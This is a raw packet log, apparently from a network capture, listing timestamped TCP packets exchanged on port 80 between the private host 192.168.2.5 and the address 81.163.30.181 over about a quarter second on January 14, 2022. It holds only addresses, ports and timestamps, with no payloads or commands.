Jan 14, 2022 21:05:49.906686068 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.906702995 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.906719923 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.906737089 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.906737089 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.906754017 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.906764984 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.906770945 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.906790018 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.906790972 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.906822920 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.906829119 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.906847000 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.906864882 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.906881094 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.906883001 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.906899929 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.906914949 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.906915903 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.906954050 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.906956911 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.906971931 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.906989098 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.907006979 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.907012939 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.907025099 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.907040119 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.907042027 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.907061100 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.907078028 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.907088995 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.907097101 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.907115936 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.907115936 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.907135010 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.907146931 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.907151937 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.907170057 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.907186031 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.907196999 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.907203913 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.907217026 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.907222033 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.907239914 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.907257080 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.907265902 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.907284975 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.907747030 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.907766104 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.907799959 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.909688950 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.918226957 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.959419012 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.959451914 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.959470034 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.959526062 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.959553003 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.964019060 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.964040995 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.964056015 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.964073896 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.964091063 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.964107990 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.964121103 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.964133978 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.964139938 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.964147091 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.964157104 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.964169979 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.964181900 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.964189053 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.964205980 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.964215994 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.964224100 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.964252949 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.964286089 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.964303017 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.964319944 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.964329004 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.964337111 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.964354038 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.964356899 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.964370966 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.964415073 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.964811087 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.964829922 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.964840889 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.964859962 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.964864016 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.964878082 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.964888096 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.964896917 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.964914083 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.964931011 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.964932919 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.964961052 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.965014935 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.965032101 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.965058088 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.965075016 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.965086937 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.965105057 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.965107918 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.965122938 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.965140104 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.965151072 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.965159893 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.965177059 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.965184927 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.965194941 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.965212107 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.965213060 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.965226889 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.965244055 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.965260029 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.965271950 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.965279102 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.965296030 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.965300083 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.965316057 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.965318918 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.965336084 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.965353012 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.965363979 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.965370893 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.965387106 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.965398073 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.965400934 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.965415001 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.965430975 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.965431929 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.965449095 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.965449095 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.965473890 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.965491056 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.965501070 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.965507984 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.965527058 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.968636036 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.976993084 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.977070093 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.019782066 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.019804001 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.019820929 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.019870043 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.021976948 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.021996021 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.022012949 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.022030115 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.022038937 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.022047043 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.022066116 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.022077084 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.022083998 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.022099018 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.022103071 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.022119999 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.022130013 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.022139072 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.022156000 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.022164106 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.022172928 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.022191048 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.022200108 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.022208929 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.022226095 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.022233963 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.022239923 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.022258043 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.022274017 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.022274971 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.022295952 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.023004055 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.023312092 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.023329020 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.023365021 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.023367882 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.023375988 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.023382902 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.023412943 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.023427010 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.023428917 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.023442984 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.023458958 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.023461103 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.023478031 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.023497105 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.023516893 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.023550987 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.023556948 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.023575068 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.023591042 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.023608923 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.023617029 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.023627043 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.023644924 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.023654938 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.023663998 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.023683071 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.023695946 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.023700953 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.023718119 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.023725986 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.023736000 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.023753881 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.023760080 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.023771048 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.023787975 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.023789883 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.023806095 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.023822069 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.023837090 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.023838997 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.023857117 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.023869038 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.023873091 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.023891926 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.023895979 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.023910046 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.023926973 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.023941040 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.023942947 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.023961067 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.023977995 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.023978949 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.023994923 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.024004936 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.024034977 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.026266098 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.026283979 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.026334047 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.027189970 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.036792040 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.077696085 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.077719927 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.077733040 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.077795982 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.080101013 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.080120087 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.080137014 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.080153942 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.080167055 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.080177069 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.080178976 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.080193043 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.080209970 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.080223083 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.080224991 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.080244064 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.080256939 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.080282927 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.080302000 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.080313921 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.080326080 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.080338001 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.080357075 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.080368996 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.080406904 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.080455065 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.081167936 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.081186056 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.081203938 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.081221104 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.081245899 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.081263065 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.081279993 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.081295967 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.081311941 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.081331015 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.081346989 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.081347942 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.081408978 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.081717014 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.081734896 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.081751108 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.081770897 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.081789017 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.081799984 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.081806898 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.081814051 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.081829071 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.081831932 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.081857920 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.081880093 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.081882000 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.081901073 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.081917048 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.081933022 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.081943035 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.081950903 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.081969023 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.081986904 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.082003117 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.082009077 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.082015991 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.082020998 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.082041025 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.082056999 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.082068920 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.082076073 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.082094908 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.082113028 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.082113028 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.082132101 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.082140923 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.082149982 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.082168102 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.082184076 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.082201004 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.082205057 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.082217932 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.082238913 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.082274914 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.083991051 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.084016085 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.084142923 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.086395025 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.097197056 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.135668039 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.135708094 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.135736942 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.135751009 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.135766983 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.136473894 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.140391111 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.140427113 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.140454054 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.140465975 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.140480995 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.140507936 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.140528917 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.140532017 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.140558004 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.140583038 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.140600920 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.140608072 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.140634060 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.140659094 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:50.140661001 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:50.140681028 CET	49882	80	192.168.2.5	81.163.30.181
